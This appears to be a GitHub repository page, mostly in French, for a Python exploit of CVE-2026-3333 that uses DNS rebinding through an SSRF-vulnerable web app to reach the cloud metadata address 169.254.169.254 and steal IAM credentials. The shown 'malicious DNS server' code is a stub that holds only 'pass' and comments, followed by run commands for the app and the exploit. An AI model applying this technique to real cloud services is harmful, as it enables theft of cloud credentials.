george0papasotiriou/cve-2026-3333-dns-rebinding-to-steal-cloud-metadataExploit Python pour CVE-2026-3333 démontrant le DNS rebinding afin d'accéder aux métadonnées cloud et de voler les identifiants IAM via une application web vulnérable aux SSRF.
#!/usr/bin/env python3
# dns_rebinding_server.py - Malicious DNS server that alternates between attacker IP and 169.254.169.254
import socket, threading, time
# This simple server resolves any subdomain of our domain to 169.254.169.254 and attacker IP alternately.
DNS_QUERIES = {}
def handle_dns(data, addr, sock):
# minimal DNS response: use a simple pattern
# For demo, we'll use a static approach: first query gets attacker IP, second gets metadata IP.
# We'll simulate by running an HTTP server that the victim will contact.
pass # actual DNS logic is complex; for demonstration, we'll simulate the whole scenario.
Une application web exécutée dans un environnement cloud est vulnérable au rebinding DNS. En utilisant un domaine qui alterne entre l’IP de l’attaquant et l’IP des métadonnées cloud (169.254.169.254), l’attaquant peut voler les identifiants IAM.
python vulnerable_web_app.py
python exploit_dns_rebinding.py